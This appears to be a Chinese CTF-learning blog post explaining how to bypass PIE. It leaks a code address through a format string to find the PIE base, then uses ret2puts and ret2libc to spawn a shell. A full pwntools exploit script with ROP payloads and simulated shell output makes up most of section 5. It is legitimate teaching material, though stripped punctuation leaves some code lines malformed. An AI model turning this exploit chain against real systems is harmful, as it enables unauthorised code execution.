【学习记录】Week5(三):PIE 随机化破解——代码段地址泄露与 ret2puts 组合拳
写在前面在绕过 Canary 之后我们经常会遇到另一座大山——PIE位置无关可执行文件。开启 PIE 后程序自身的代码段.text、PLT 表、GOT 表等地址每次运行都会随机变化。这意味着我们之前辛辛苦苦找的pop rdi; ret和putsplt地址全部失效本文将教你如何利用栈上残留的代码段地址推导出 PIE 基址并在已知基址的前提下利用ret2puts完成对 libc 地址的二次泄露。 目录PIE 机制解析代码段也随机了ROP 链何去何从破局核心相对偏移固定与“12位不变”原理第一阶段泄露栈上残留地址计算 PIE 基址第二阶段重获新生ret2puts 泄露 libc 地址实战推演双阶段泄露打通 PIE 保护1. PIE 机制解析代码段也随机了ROP 链何去何从在没开 PIE 的情况下程序编译后的.text段地址是固定的如0x401000。开了 PIE 后程序每次加载到内存的基址是随机的如第一次是0x555555554000第二次是0x7ffff7a00000。痛点所在我们之前依赖的程序自带的 Gadget如pop rdi; ret和putsplt的地址全变成了未知的随机值。没有pop rdi就无法传参没有putsplt就无法打印ROP 链直接断在起点。2. 破局核心相对偏移固定与“12位不变”原理PIE 并不是完美的。它的随机化是以内存页通常是 0x1000 字节即 4KB为粒度进行的。这意味着基址的末尾 12 位3个十六进制位即 1 页内偏移永远是000。程序内部各个地址之间的相对偏移量是永远不变的。例如不管程序加载到哪里main函数相对于基址的偏移量如果是0x1156那么main的真实地址永远是PIE_base 0x1156。只要我们能泄露任意一个代码段内的地址用它的真实地址减去它的相对偏移就能逆推出当前的 PIE 基址3. 第一阶段泄露栈上残留地址计算 PIE 基址怎么泄露代码段地址呢最简单的方法是利用栈上残留的返回地址。原理推演当main函数调用vuln函数时栈上会压入main函数中call vuln的下一条指令地址如main0x2a。这个地址属于代码段如果vuln函数中存在可以打印栈数据的漏洞如格式化字符串%p泄露或者利用puts打印未初始化的局部变量越界读到栈上的返回地址我们就能拿到它。假设性场景格式化字符串泄露程序执行printf(buf)我们输入%p.%p.%p...逐个探测栈上的数据。模拟终端输出0x7fff12345670.0x555555555156.0x7ffff7a...假设通过偏移计算我们确认第二个泄露的值0x555555555156是main函数的返回地址main0x2a之类。我们在 IDA 或 Ghidra 中查看该程序发现这个指令在未开 PIE 时的静态地址是0x1156。计算 PIE 基址leak_code_addr 0x555555555156 static_offset 0x1156 pie_base leak_code_addr - static_offset log.success(fPIE Base: {hex(pie_base)}) # 输出: PIE Base: 0x555555554000 (末尾必定是 000)拿到了 PIE 基址程序对我们来说又变成了“透明”的4. 第二阶段重获新生ret2puts 泄露 libc 地址既然有了 PIE 基址我们就能算出putsplt和 Gadget 的真实地址了。接下来就是 Week4 学过的ret2libc泄露环节。核心公式真实 Gadget 地址 PIE 基址 静态 Gadget 偏移真实putsplt地址 PIE 基址 putsplt偏移真实putsgot地址 PIE 基址 putsgot偏移假设性数据准备# 已通过 PIE 基址计算出的真实地址 pop_rdi pie_base 0x1193 puts_plt pie_base 0x1030 puts_got pie_base 0x4018 main_addr pie_base 0x1156 # 用于二次返回有了这些真实地址我们就可以构造第一发 Payloadputs(putsgot)把 libc 的真实地址打印出来。5. 实战推演双阶段泄露打通 PIE 保护完整攻击流推演阶段一泄露 PIE 基址from pwn import * p process(./vuln) elf ELF(./vuln) # 1. 触发格式化字符串或栈越界读泄露栈上的代码段地址 p.sendline(b%7$p) leak p.recvline() code_addr int(leak, 16) # 2. 计算 PIE 基址 (假设泄露的是 main0x2a, 静态地址 0x1156) pie_base code_addr - 0x1156 log.success(fPIE Base: {hex(pie_base)}) # 动态计算真实地址 pop_rdi pie_base 0x1193 ret pie_base 0x101a # 用于栈对齐 puts_plt pie_base elf.plt[puts] puts_got pie_base elf.got[puts] main_addr pie_base elf.symbols[main]阶段二ret2puts 泄露 libc 并 Getshell# 3. 构造 Payload 1: 泄露 puts 的 libc 真实地址 payload1 bA * 40 # 假设偏移 40 (假设已绕过 Canary) payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(main_addr) # 返回到 main准备二次溢出 p.sendline(payload1) # 4. 接收并计算 libc 基址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) libc_base leaked_puts - 0x6f6a0 # 假设本地 libc puts 偏移 log.success(fLibc Base: {hex(libc_base)}) system_addr libc_base 0x45390 bin_sh_addr libc_base 0x18ce17 # 5. 构造 Payload 2: 调用 system(/bin/sh) payload2 bA * 40 payload2 p64(ret) # 栈对齐 payload2 p64(pop_rdi) payload2 p64(bin_sh_addr) payload2 p64(system_addr) p.sendline(payload2) p.interactive()模拟终端输出[] PIE Base: 0x555555554000 [] Libc Base: 0x7ffff79e2000 [*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)完美在 PIE 和 ASLR 的双重夹击下通过“先推 PIE再推 libc”的连环拳成功拿 Shell。6. 结语PIE 保护看似让所有地址都变成了盲盒但只要抓住“页内偏移不变”这个命门通过泄露任意一个代码段地址就能逆推出全局基址。在实际 CTF 中如果题目同时开了 Canary 和 PIE通常的解题套娃顺序是先绕过/泄露 Canary - 再泄露 PIE 基址 - 再泄露 libc 基址 - 最终 ROP。下一篇我们将学习一种不需要算偏移、不需要完整地址的精细化控制技术——Partial Overwrite部分覆盖与 off-by-null 的结合应用。如果本文对你有帮助请点赞收藏支持